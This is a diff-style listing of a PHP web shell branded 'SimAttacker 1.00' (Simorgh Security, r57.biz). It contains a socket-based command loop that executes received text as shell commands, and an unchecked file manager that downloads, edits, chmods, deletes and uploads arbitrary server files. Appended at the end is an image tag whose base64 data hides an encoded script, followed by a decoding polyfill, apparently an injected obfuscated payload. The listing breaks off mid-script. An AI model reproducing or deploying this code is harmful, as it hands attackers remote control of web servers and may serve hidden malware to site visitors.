| 407 | 407 | ||
| 408 | else { | 408 | else { |
| 409 | 409 | ||
| 410 | fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); | 410 | fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); |
| 411 | 411 | ||
| 412 | while(!feof($fp)){ | 412 | while(!feof($fp)){ |
| 413 | 413 | ||
| 414 | fputs ($fp," bash # "); | 414 | fputs ($fp," bash # "); |
| 415 | 415 | ||
| 416 | $result= fgets ($fp, 4096); | 416 | $result= fgets ($fp, 4096); |
| 417 | 417 | ||
| 418 | $message=`$result`; | 418 | $message=`$result`; |
| 419 | 419 | ||
| 420 | fputs ($fp,"--> ".$message."\n"); | 420 | fputs ($fp,"--> ".$message."\n"); |
| 421 | 421 | ||
| 422 | } | 422 | } |
| 423 | 423 | ||
| 424 | fclose ($fp); | 424 | fclose ($fp); |
| 425 | 425 | ||
| 426 | } | 426 | } |
| 427 | 427 | ||
| 428 | } | 428 | } |
| 429 | 429 | ||
| 430 | } | 430 | } |
| 431 | 431 | ||
| 432 | 432 | ||
| 433 | 433 | ||
| 434 | //******************************************************** | 434 | //******************************************************** |
| 435 | 435 | ||
| 436 | //Spy File Manager | 436 | //Spy File Manager |
| 437 | 437 | ||
| 438 | $homedir=getcwd(); | 438 | $homedir=getcwd(); |
| 439 | 439 | ||
| 440 | $dir=realpath($_GET['dir'])."/"; | 440 | $dir=realpath($_GET['dir'])."/"; |
| 441 | 441 | ||
| 442 | if ($id=="fm"){ | 442 | if ($id=="fm"){ |
| 443 | 443 | ||
| 444 | echo "<br><b><p align='left'> Home:</b> $homedir | 444 | echo "<br><b><p align='left'> Home:</b> $homedir |
| 445 | 445 | ||
| 446 | <b> | 446 | <b> |
| 447 | 447 | ||
| 448 | <form action='' method='GET'> | 448 | <form action='' method='GET'> |
| 449 | 449 | ||
| 450 | Path:</b> | 450 | Path:</b> |
| 451 | 451 | ||
| 452 | <input type='hidden' name='id' value='fm'> | 452 | <input type='hidden' name='id' value='fm'> |
| 453 | 453 | ||
| 454 | <input type='text' name='dir' size='80' value='$dir'> | 454 | <input type='text' name='dir' size='80' value='$dir'> |
| 455 | 455 | ||
| 456 | <input type='submit' value='dir'> | 456 | <input type='submit' value='dir'> |
| 457 | 457 | ||
| 458 | </form> | 458 | </form> |
| 459 | 459 | ||
| 460 | <br>"; | 460 | <br>"; |
| 461 | 461 | ||
| 462 | 462 | ||
| 463 | 463 | ||
| 464 | echo " | 464 | echo " |
| 465 | 465 | ||
| 466 | 466 | ||
| 467 | 467 | ||
| 468 | <div align='center'> | 468 | <div align='center'> |
| 469 | 469 | ||
| 470 | 470 | ||
| 471 | 471 | ||
| 472 | <table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> | 472 | <table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> |
| 473 | 473 | ||
| 474 | <tr> | 474 | <tr> |
| 475 | 475 | ||
| 476 | <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> | 476 | <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> |
| 477 | 477 | ||
| 478 | <td height='28' width='82' align='center'> | 478 | <td height='28' width='82' align='center'> |
| 479 | 479 | ||
| 480 | <font color='#000080' size='2'><b>Size KByte</b></font></td> | 480 | <font color='#000080' size='2'><b>Size KByte</b></font></td> |
| 481 | 481 | ||
| 482 | <td height='28' width='83' align='center'> | 482 | <td height='28' width='83' align='center'> |
| 483 | 483 | ||
| 484 | <font color='#008000' size='2'><b>Download</b></font></td> | 484 | <font color='#008000' size='2'><b>Download</b></font></td> |
| 485 | 485 | ||
| 486 | <td height='28' width='66' align='center'> | 486 | <td height='28' width='66' align='center'> |
| 487 | 487 | ||
| 488 | <font color='#FF9933' size='2'><b>Edit</b></font></td> | 488 | <font color='#FF9933' size='2'><b>Edit</b></font></td> |
| 489 | 489 | ||
| 490 | <td height='28' width='75' align='center'> | 490 | <td height='28' width='75' align='center'> |
| 491 | 491 | ||
| 492 | <font color='#999999' size='2'><b>Chmod</b></font></td> | 492 | <font color='#999999' size='2'><b>Chmod</b></font></td> |
| 493 | 493 | ||
| 494 | <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> | 494 | <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> |
| 495 | 495 | ||
| 496 | </tr>"; | 496 | </tr>"; |
| 497 | 497 | ||
| 498 | if (is_dir($dir)){ | 498 | if (is_dir($dir)){ |
| 499 | 499 | ||
| 500 | if ($dh=opendir($dir)){ | 500 | if ($dh=opendir($dir)){ |
| 501 | 501 | ||
| 502 | while (($file = readdir($dh)) !== false) { | 502 | while (($file = readdir($dh)) !== false) { |
| 503 | 503 | ||
| 504 | $fsize=round(filesize($dir . $file)/1024); | 504 | $fsize=round(filesize($dir . $file)/1024); |
| 505 | 505 | ||
| 506 | 506 | ||
| 507 | 507 | ||
| 508 | 508 | ||
| 509 | 509 | ||
| 510 | echo " | 510 | echo " |
| 511 | 511 | ||
| 512 | <tr> | 512 | <tr> |
| 513 | 513 | ||
| 514 | <th width='250' height='22' align='left' nowrap>"; | 514 | <th width='250' height='22' align='left' nowrap>"; |
| 515 | 515 | ||
| 516 | if (is_dir($dir.$file)) | 516 | if (is_dir($dir.$file)) |
| 517 | 517 | ||
| 518 | { | 518 | { |
| 519 | 519 | ||
| 520 | echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'> $file <font color='#FF0000' size='1'>dir</font>"; | 520 | echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'> $file <font color='#FF0000' size='1'>dir</font>"; |
| 521 | 521 | ||
| 522 | } | 522 | } |
| 523 | 523 | ||
| 524 | else { | 524 | else { |
| 525 | 525 | ||
| 526 | echo "<font size='2' color='#666666'> $file "; | 526 | echo "<font size='2' color='#666666'> $file "; |
| 527 | 527 | ||
| 528 | } | 528 | } |
| 529 | 529 | ||
| 530 | echo "</a></font></th> | 530 | echo "</a></font></th> |
| 531 | 531 | ||
| 532 | <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; | 532 | <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; |
| 533 | 533 | ||
| 534 | if (is_file($dir.$file)) | 534 | if (is_file($dir.$file)) |
| 535 | 535 | ||
| 536 | { | 536 | { |
| 537 | 537 | ||
| 538 | echo "$fsize"; | 538 | echo "$fsize"; |
| 539 | 539 | ||
| 540 | } | 540 | } |
| 541 | 541 | ||
| 542 | else { | 542 | else { |
| 543 | 543 | ||
| 544 | echo " "; | 544 | echo " "; |
| 545 | 545 | ||
| 546 | } | 546 | } |
| 547 | 547 | ||
| 548 | echo " | 548 | echo " |
| 549 | 549 | ||
| 550 | </b></font></td> | 550 | </b></font></td> |
| 551 | 551 | ||
| 552 | <td width='103' align='center' nowrap>"; | 552 | <td width='103' align='center' nowrap>"; |
| 553 | 553 | ||
| 554 | if (is_file($dir.$file)){ | 554 | if (is_file($dir.$file)){ |
| 555 | 555 | ||
| 556 | if (is_readable($dir.$file)){ | 556 | if (is_readable($dir.$file)){ |
| 557 | 557 | ||
| 558 | echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; | 558 | echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; |
| 559 | 559 | ||
| 560 | }else { | 560 | }else { |
| 561 | 561 | ||
| 562 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; | 562 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; |
| 563 | 563 | ||
| 564 | } | 564 | } |
| 565 | 565 | ||
| 566 | }else { | 566 | }else { |
| 567 | 567 | ||
| 568 | echo " "; | 568 | echo " "; |
| 569 | 569 | ||
| 570 | } | 570 | } |
| 571 | 571 | ||
| 572 | echo " | 572 | echo " |
| 573 | 573 | ||
| 574 | </a></font></td> | 574 | </a></font></td> |
| 575 | 575 | ||
| 576 | <td width='77' align='center' nowrap>"; | 576 | <td width='77' align='center' nowrap>"; |
| 577 | 577 | ||
| 578 | if (is_file($dir.$file)) | 578 | if (is_file($dir.$file)) |
| 579 | 579 | ||
| 580 | { | 580 | { |
| 581 | 581 | ||
| 582 | if (is_readable($dir.$file)){ | 582 | if (is_readable($dir.$file)){ |
| 583 | 583 | ||
| 584 | echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; | 584 | echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; |
| 585 | 585 | ||
| 586 | }else { | 586 | }else { |
| 587 | 587 | ||
| 588 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; | 588 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; |
| 589 | 589 | ||
| 590 | } | 590 | } |
| 591 | 591 | ||
| 592 | }else { | 592 | }else { |
| 593 | 593 | ||
| 594 | echo " "; | 594 | echo " "; |
| 595 | 595 | ||
| 596 | } | 596 | } |
| 597 | 597 | ||
| 598 | echo " | 598 | echo " |
| 599 | 599 | ||
| 600 | </a></font></td> | 600 | </a></font></td> |
| 601 | 601 | ||
| 602 | <td width='86' align='center' nowrap>"; | 602 | <td width='86' align='center' nowrap>"; |
| 603 | 603 | ||
| 604 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { | 604 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { |
| 605 | 605 | ||
| 606 | echo "<font size='1' color='#999999'>Dont in windows"; | 606 | echo "<font size='1' color='#999999'>Dont in windows"; |
| 607 | 607 | ||
| 608 | } | 608 | } |
| 609 | 609 | ||
| 610 | else { | 610 | else { |
| 611 | 611 | ||
| 612 | echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; | 612 | echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; |
| 613 | 613 | ||
| 614 | } | 614 | } |
| 615 | 615 | ||
| 616 | echo "</a></font></td> | 616 | echo "</a></font></td> |
| 617 | 617 | ||
| 618 | <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> | 618 | <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> |
| 619 | 619 | ||
| 620 | </tr> | 620 | </tr> |
| 621 | 621 | ||
| 622 | "; | 622 | "; |
| 623 | 623 | ||
| 624 | } | 624 | } |
| 625 | 625 | ||
| 626 | closedir($dh); | 626 | closedir($dh); |
| 627 | 627 | ||
| 628 | } | 628 | } |
| 629 | 629 | ||
| 630 | } | 630 | } |
| 631 | 631 | ||
| 632 | echo "</table> | 632 | echo "</table> |
| 633 | 633 | ||
| 634 | <form enctype='multipart/form-data' action='' method='POST'> | 634 | <form enctype='multipart/form-data' action='' method='POST'> |
| 635 | 635 | ||
| 636 | <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> | 636 | <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> |
| 637 | 637 | ||
| 638 | Send this file: <input name='userfile' type='file' /> | 638 | Send this file: <input name='userfile' type='file' /> |
| 639 | 639 | ||
| 640 | <inpt type='hidden' name='Fupath' value='$dir'> | 640 | <inpt type='hidden' name='Fupath' value='$dir'> |
| 641 | 641 | ||
| 642 | <input type='submit' value='Send File' /> | 642 | <input type='submit' value='Send File' /> |
| 643 | 643 | ||
| 644 | </form> | 644 | </form> |
| 645 | 645 | ||
| 646 | </div>"; | 646 | </div>"; |
| 647 | 647 | ||
| 648 | } | 648 | } |
| 649 | 649 | ||
| 650 | //Upload Files | 650 | //Upload Files |
| 651 | 651 | ||
| 652 | $rpath=$_GET['dir']; | 652 | $rpath=$_GET['dir']; |
| 653 | 653 | ||
| 654 | if ($rpath <> "") { | 654 | if ($rpath <> "") { |
| 655 | 655 | ||
| 656 | $uploadfile = $rpath."/" . $_FILES['userfile']['name']; | 656 | $uploadfile = $rpath."/" . $_FILES['userfile']['name']; |
| 657 | 657 | ||
| 658 | print "<pre>"; | 658 | print "<pre>"; |
| 659 | 659 | ||
| 660 | if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { | 660 | if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { |
| 661 | 661 | ||
| 662 | echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; | 662 | echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; |
| 663 | 663 | ||
| 664 | echo "<script language='javascript'> history.back(2)</script>"; | 664 | echo "<script language='javascript'> history.back(2)</script>"; |
| 665 | 665 | ||
| 666 | } | 666 | } |
| 667 | 667 | ||
| 668 | } | 668 | } |
| 669 | 669 | ||
| 670 | //file deleted | 670 | //file deleted |
| 671 | 671 | ||
| 672 | $frpath=$_GET['fdelete']; | 672 | $frpath=$_GET['fdelete']; |
| 673 | 673 | ||
| 674 | if ($frpath <> "") { | 674 | if ($frpath <> "") { |
| 675 | 675 | ||
| 676 | if (is_dir($frpath)){ | 676 | if (is_dir($frpath)){ |
| 677 | 677 | ||
| 678 | $matches = glob($frpath . '/*.*'); | 678 | $matches = glob($frpath . '/*.*'); |
| 679 | 679 | ||
| 680 | if ( is_array ( $matches ) ) { | 680 | if ( is_array ( $matches ) ) { |
| 681 | 681 | ||
| 682 | foreach ( $matches as $filename) { | 682 | foreach ( $matches as $filename) { |
| 683 | 683 | ||
| 684 | unlink ($filename); | 684 | unlink ($filename); |
| 685 | 685 | ||
| 686 | rmdir("$frpath"); | 686 | rmdir("$frpath"); |
| 687 | 687 | ||
| 688 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; | 688 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; |
| 689 | 689 | ||
| 690 | echo "<script language='javascript'> history.back(1)</script>"; | 690 | echo "<script language='javascript'> history.back(1)</script>"; |
| 691 | 691 | ||
| 692 | } | 692 | } |
| 693 | 693 | ||
| 694 | } | 694 | } |
| 695 | 695 | ||
| 696 | } | 696 | } |
| 697 | 697 | ||
| 698 | else{ | 698 | else{ |
| 699 | 699 | ||
| 700 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; | 700 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; |
| 701 | 701 | ||
| 702 | unlink ("$frpath"); | 702 | unlink ("$frpath"); |
| 703 | 703 | ||
| 704 | echo "<script language='javascript'> history.back(1)</script>"; | 704 | echo "<script language='javascript'> history.back(1)</script>"; |
| 705 | 705 | ||
| 706 | exit(0); | 706 | exit(0); |
| 707 | 707 | ||
| 708 | 708 | ||
| 709 | 709 | ||
| 710 | } | 710 | } |
| 711 | 711 | ||
| 712 | 712 | ||
| 713 | 713 | ||
| 714 | 714 | ||
| 715 | 715 | ||
| 716 | } | 716 | } |
| 717 | 717 | ||
| 718 | ?> | 718 | ?> |
| 719 | 719 | ||
| 720 | 720 | ||
| 721 | 721 | ||
| 722 | </td> | 722 | </td> |
| 723 | 723 | ||
| 724 | </tr> | 724 | </tr> |
| 725 | 725 | ||
| 726 | <tr> | 726 | <tr> |
| 727 | 727 | ||
| 728 | <td style="border: 1px dotted #FFCC66"> | 728 | <td style="border: 1px dotted #FFCC66"> |
| 729 | 729 | ||
| 730 | <p align="center"><font color="#666666" size="1" face="Tahoma"><br> | 730 | <p align="center"><font color="#666666" size="1" face="Tahoma"><br> |
| 731 | 731 | ||
| 732 | Copyright 2004-Simorgh Security<br> | 732 | Copyright 2004-Simorgh Security<br> |
| 733 | 733 | ||
| 734 | Hossein-Asgari<br> | 734 | Hossein-Asgari<br> |
| 735 | 735 | ||
| 736 | </font><font color="#c0c0c0" size="1" face="Tahoma"> | 736 | </font><font color="#c0c0c0" size="1" face="Tahoma"> |
| 737 | 737 | ||
| 738 | <a style="TEXT-DECORATION: none" href="http://www.r57.biz"> | 738 | <a style="TEXT-DECORATION: none" href="http://www.r57.biz"> |
| 739 | 739 | ||
| 740 | <font color="#666666">www.r57.biz</font></a></font></td> | 740 | <font color="#666666">www.r57.biz</font></a></font></td> |
| 741 | 741 | ||
| 742 | </tr> | 742 | </tr> |
| 743 | 743 | ||
| 744 | </table> | 744 | </table> |
| 745 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 745 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 746 | <script type="text/javascript"> | 746 | <script type="text/javascript"> |
| 747 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; | 747 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var 